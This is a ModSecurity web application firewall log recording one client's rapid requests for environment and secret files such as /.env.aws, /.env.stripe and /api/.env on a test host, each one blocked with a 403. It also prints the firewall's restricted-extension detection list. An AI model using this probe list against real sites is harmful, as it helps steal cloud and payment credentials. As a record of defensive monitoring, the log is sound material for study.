[Wed Mar 11 20:56:31.686611 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abHI7008hzg1BXieW_K34AAAAAI"]
[Wed Mar 11 20:56:31.686779 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abHI7008hzg1BXieW_K34AAAAAI"]
[Wed Mar 11 20:56:31.686926 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abHI7008hzg1BXieW_K34AAAAAI"]
[Wed Mar 11 20:56:31.709092 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abHI7-BvFsx28IYw-q9nDwAAAAg"]
[Wed Mar 11 20:56:31.709219 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abHI7-BvFsx28IYw-q9nDwAAAAg"]
[Wed Mar 11 20:56:31.709374 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abHI7-BvFsx28IYw-q9nDwAAAAg"]
[Wed Mar 11 20:56:31.709501 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abHI7-BvFsx28IYw-q9nDwAAAAg"]
[Wed Mar 11 20:56:31.740752 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abHI7wGa7hTYdm05K1T1twAAAAU"]
[Wed Mar 11 20:56:31.740926 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abHI7wGa7hTYdm05K1T1twAAAAU"]
[Wed Mar 11 20:56:31.741060 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abHI7wGa7hTYdm05K1T1twAAAAU"]
[Wed Mar 11 20:56:31.746051 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abHI71HINoBDNij9jADMCAAAAAE"]
[Wed Mar 11 20:56:31.746223 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abHI71HINoBDNij9jADMCAAAAAE"]
[Wed Mar 11 20:56:31.746374 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abHI71HINoBDNij9jADMCAAAAAE"]
[Wed Mar 11 20:56:31.764309 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abHI7yvA7KL3vWbRrBM5egAAAAY"]
[Wed Mar 11 20:56:31.764474 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abHI7yvA7KL3vWbRrBM5egAAAAY"]
[Wed Mar 11 20:56:31.764600 2026] [:error] [pid 2634213] [client 185.177.72.60:51394] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dist"] [unique_id "abHI7yvA7KL3vWbRrBM5egAAAAY"]
[Wed Mar 11 20:56:31.821146 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.template"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.template"] [unique_id "abHI7008hzg1BXieW_K34QAAAAI"]
[Wed Mar 11 20:56:31.821316 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.template"] [unique_id "abHI7008hzg1BXieW_K34QAAAAI"]
[Wed Mar 11 20:56:31.821461 2026] [:error] [pid 2634211] [client 185.177.72.60:51314] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.template"] [unique_id "abHI7008hzg1BXieW_K34QAAAAI"]
[Wed Mar 11 20:56:31.835944 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.txt"] [unique_id "abHI7wGa7hTYdm05K1T1uAAAAAU"]
[Wed Mar 11 20:56:31.836104 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.txt"] [unique_id "abHI7wGa7hTYdm05K1T1uAAAAAU"]
[Wed Mar 11 20:56:31.836241 2026] [:error] [pid 2634239] [client 185.177.72.60:51312] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.txt"] [unique_id "abHI7wGa7hTYdm05K1T1uAAAAAU"]
[Wed Mar 11 20:56:31.886939 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "abHI71HINoBDNij9jADMCQAAAAE"]
[Wed Mar 11 20:56:31.887118 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "abHI71HINoBDNij9jADMCQAAAAE"]
[Wed Mar 11 20:56:31.887250 2026] [:error] [pid 2634237] [client 185.177.72.60:51410] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.json"] [unique_id "abHI71HINoBDNij9jADMCQAAAAE"]
[Wed Mar 11 20:56:32.600068 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stripe"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stripe"] [unique_id "abHI8P-pQA8QpEk0_N8YTwAAAAA"]
[Wed Mar 11 20:56:32.600245 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stripe"] [unique_id "abHI8P-pQA8QpEk0_N8YTwAAAAA"]
[Wed Mar 11 20:56:32.600405 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stripe"] [unique_id "abHI8P-pQA8QpEk0_N8YTwAAAAA"]
[Wed Mar 11 20:56:32.892981 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.aws"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abHI8P-pQA8QpEk0_N8YUAAAAAA"]
[Wed Mar 11 20:56:32.893165 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abHI8P-pQA8QpEk0_N8YUAAAAAA"]
[Wed Mar 11 20:56:32.893307 2026] [:error] [pid 2634210] [client 185.177.72.60:51320] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.aws"] [unique_id "abHI8P-pQA8QpEk0_N8YUAAAAAA"]
[Wed Mar 11 20:56:33.072038 2026] [:error] [pid 2634323] [client 185.177.72.60:51302] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "abHI8aPPzlNIonXxp6eEkQAAAAw"]
[Wed Mar 11 20:56:33.072224 2026] [:error] [pid 2634323] [client 185.177.72.60:51302] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "abHI8aPPzlNIonXxp6eEkQAAAAw"]
[Wed Mar 11 20:56:33.072360 2026] [:error] [pid 2634323] [client 185.177.72.60:51302] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "abHI8aPPzlNIonXxp6eEkQAAAAw"]
[Wed Mar 11 20:56:33.192567 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "abHI8eBvFsx28IYw-q9nEAAAAAg"]
[Wed Mar 11 20:56:33.193181 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "abHI8eBvFsx28IYw-q9nEAAAAAg"]
[Wed Mar 11 20:56:33.193354 2026] [:error] [pid 2634214] [client 185.177.72.60:51342] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "abHI8eBvFsx28IYw-q9nEAAAAAg"]
[Wed Mar 11 20:56:33.195209 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abHI8SkCWy977yPh9ymvKgAAAAc"]
[Wed Mar 11 20:56:33.195372 2026] [:error] [pid 2634319] [client 185.177.72.60:51224] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abHI8SkCWy977yPh9ymvKgAAAAc"]
